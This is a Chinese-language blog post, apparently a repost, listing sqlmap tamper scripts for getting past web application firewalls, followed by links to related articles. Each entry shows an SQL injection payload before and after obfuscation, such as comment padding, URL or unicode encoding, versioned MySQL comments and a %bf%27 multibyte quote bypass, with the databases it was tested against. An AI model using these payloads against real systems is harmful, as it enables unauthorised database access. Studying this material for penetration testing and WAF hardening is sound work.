sqlmap的篡改绕过WAF

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

Example:

* Input: SELECT id FROM users

* Output: SELECT/**/id/**/FROM/**/users

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

Notes:

* Useful to bypass weak and bespoke web application firewalls

——————————————————————————-

charencode.py

url编码

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

Notes:

* Useful to bypass very weak web application firewalls that do not

url-decode the request before processing it through their ruleset

* The web server will anyway pass the url-decoded version behind,

hence it should work against any DBMS

—————————————————————————————

charunicodeencode.py

字符串 unicode 编码

Example:

* Input: SELECT FIELD%20FROM TABLE

* Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

* ASP

* ASP.NET

Tested against:

* Microsoft SQL Server 2000

* Microsoft SQL Server 2005

* MySQL 5.1.56

* PostgreSQL 9.0.3

Notes:

* Useful to bypass weak web application firewalls that do not

unicode url-decode the request before processing it through their

ruleset

——————————————————

space2hash.py

空格替换为#号 随机字符串 以及换行符

Replaces space character (‘ ‘) with a pound character (‘#’) followed by

a random string and a new line (‘\n’)

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

* MySQL

Tested against:

* MySQL 4.0, 5.0

———————————————–

space2morehash.py

空格替换为 #号 以及更多随机字符串 换行符

Replaces space character (‘ ‘) with a pound character (‘#’) followed by

a random string and a new line (‘\n’)

Example:

* Input: 1 AND 9227=9227

* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

* MySQL >= 5.1.13

Tested against:

* MySQL 5.1.41

——————————————

space2mssqlblank.py(mssql)

空格替换为其它空符号

Example:

* Input: SELECT id FROM users

* Output: SELECT%08id%02FROM%0Fusers

Requirement:

* Microsoft SQL Server

Tested against:

* Microsoft SQL Server 2000

* Microsoft SQL Server 2005

# ASCII table:

#   SOH     01      start of heading

#   STX     02      start of text

#   ETX     03      end of text

#   EOT     04      end of transmission

#   ENQ     05      enquiry

#   ACK     06      acknowledge

#   BEL     07      bell

#   BS      08      backspace

#   TAB     09      horizontal tab

#   LF      0A      new line

#   VT      0B      vertical TAB

#   FF      0C      new page

#   CR      0D      carriage return

#   SO      0E      shift out

#   SI      0F      shift in

————————————————-

space2mysqlblank.py

空格替换其它空白符号(mysql)

Replaces space character (‘ ‘) with a random blank character from a

valid set of alternate characters

Example:

* Input: SELECT id FROM users

* Output: SELECT%0Bid%0BFROM%A0users

Requirement:

* MySQL

Tested against:

* MySQL 5.1

#   TAB     09      horizontal TAB

#   LF      0A      new line

#   FF      0C      new page

#   CR      0D      carriage return

#   VT      0B      vertical TAB        (MySQL and Microsoft SQL Server only)

#   –       A0      -                   (MySQL only)

———————————————————————————-

chardoubleencode.py 双url编码(不处理以编码的)

Example:

* Input: SELECT FIELD FROM%20TABLE

* Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

———————————————————————————

percentage.py

asp允许每个字符前面添加一个%号

Adds a percentage sign (‘%’) infront of each character

Example:

* Input: SELECT FIELD FROM TABLE

* Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

Requirement:

* ASP

Tested against:

* Microsoft SQL Server 2000, 2005

* MySQL 5.1.56, 5.5.11

* PostgreSQL 9.0

————————————————————

randomcase.py 随机大小写

Replaces each keyword character with random case value

Example:

* Input: INSERT

* Output: InsERt

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

* Oracle 10g

* PostgreSQL 8.3, 8.4, 9.0

—————————————————

randomcomments.py

用/**/分割sql关键字

Add random comments to SQL keywords

Example: ‘INSERT’ becomes ‘IN/**/S/**/ERT’

————————————————————-

versionedmorekeywords.py 注释绕过

Encloses each keyword with versioned MySQL comment

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#

* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS*//*!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

Requirement:

* MySQL >= 5.1.13

————————————————————————

versionedkeywords.py

Encloses each non-function keyword with versioned MySQL comment

Example:

* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#

* Output: 1/*!UNION*//*!ALL*//*!SELECT*//*!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS*//*!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#

Requirement:

* MySQL

———————————————————————-

unmagicquotes.py 宽字符绕过 GPC  addslashes

Replaces quote character (‘) with a multi-byte combo %bf%27 together with

generic comment at the end (to make it work)

Example:

* Input: 1′ AND 1=1

* Output: 1%bf%27 AND 1=1–%20

Notes:

* Useful for bypassing magic_quotes/addslashes feature

——————————————————————————–

equaltolike.py

like 代替等号

Example:

* Input: SELECT * FROM users WHERE id=1

* Output: SELECT * FROM users WHERE id LIKE 1

Tested against:

* Microsoft SQL Server 2005

* MySQL 4, 5.0 and 5.5

—————————————————————————-

关键字前加注释

halfversionedmorekeywords.py

Example:

* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa

* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=’QDWa

Requirement:

* MySQL < 5.1

Tested against:

* MySQL 4.0.18, 5.0.22

原文地址:http://www.myhack58.com/Article/html/3/7/2013/39321.htm

时间: 2024-11-09 04:41:10

sqlmap的篡改绕过WAF的相关文章

使用sqlmap中的tamper脚本绕过waf

使用sqlmap中tamper脚本绕过waf 脚本名:0x2char.py 作用:用UTF-8全角对应字符替换撇号字符 作用:用等价的CONCAT(CHAR(),...)对应替换每个(MySQL)0x <hex>编码的字符串 测试对象: MySQL 4,5.0和5.5 >>> tamper('SELECT 0xdeadbeef') 'SELECT CONCAT(CHAR(222),CHAR(173),CHAR(190),CHAR(239))' 脚本名:apostrophema

如何使用SQLMAP绕过WAF

WAF(web应用防火墙)逐渐成为安全解决方案的标配之一.正因为有了它,许多公司甚至已经不在意web应用的漏洞.遗憾的是,并不是所有的waf都是不可绕过的!本文将向大家讲述,如何使用注入神器SQLMap绕过WAFs/IDSs. svn下载最新版本的sqlmap svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev 我们关注的重点在于使用tamper脚本修改请求从而逃避WAF的规则检测.许多时候,你需要联合使用多个ta

使用sqlmap中tamper脚本绕过waf

使用sqlmap中tamper脚本绕过waf 刘海哥 · 2015/02/02 11:26 0x00 背景 sqlmap中的tamper脚本来对目标进行更高效的攻击. 由于乌云知识库少了sqlmap-tamper 收集一下,方便学习. 根据sqlmap中的tamper脚本可以学习过绕过一些技巧. 我收集在找相关的案例作为可分析什么环境使用什么tamper脚本. 小学生毕业的我,着能偷偷说一下多做一些收集对吸收知识很快. 0x01 start 脚本名:apostrophemask.py 作用:用u

sqlmap注入之tamper绕过WAF脚本列表

本文作者:i春秋作者--玫瑰 QQ2230353371转载请保留文章出处 使用方法--tamper xxx.py apostrophemask.py用UTF-8全角字符替换单引号字符 apostrophenullencode.py用非法双字节unicode字符替换单引号字符 appendnullbyte.py在payload末尾添加空字符编码 base64encode.py 对给定的payload全部字符使用Base64编码 between.py分别用"NOT BETWEEN 0 AND #&q

sqlmap tamper 绕过waf

01. apostrophemask.py 用UTF-8全角字符替换单引号字符 02. apostrophenullencode.py 用非法双字节unicode字符替换单引号字符 03. appendnullbyte.py 在payload末尾添加空字符编码 04. base64encode.py 对给定的payload全部字符使用Base64编码 05. between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”

深入了解SQL注入绕过waf和过滤机制

知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 0x05 本文小结 0x06 参考资料 0x00 前言 笔者前几天在做测试时输入攻击向量后页面发生了重定向甚至异常输入也是重定向怀疑其中有WAF在作怪.之前对WAF接触比较少纯粹是新手趁此科普了一下并查阅了一些绕过WAF的方法.所找到的资料中主要分为两类SQL注入和XSS绕过笔者SQL注入同样是新手

【转】深入理解SQL注入绕过WAF和过滤机制

原文 http://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.html [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对W

深入理解SQL注入绕过WAF与过滤机制

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 促使本文产生最初的动机是前些天在做测试时一些攻击向量被WAF挡掉了,而且遇到异常输入直接发生重定向.之前对WAF并不太了解,因此趁此机会科普一下并查阅了一些绕过WAF的方法.网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,

SQL注入之绕过WAF和Filter

知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 本文小结 0x6 参考资料 0x0 前言 网上关于绕过WAF有诸多文章,但是观察之后会发现大体上绕过WAF的方法就那八.九种,而且这些技术出来也有些日子了,继续使用这些方法是否有效有待于我们在实际中去验证.看过数篇绕过WAF的文章后,前人对技术的总结已经比较全面,但是完整的内容可能分布在各处,查阅起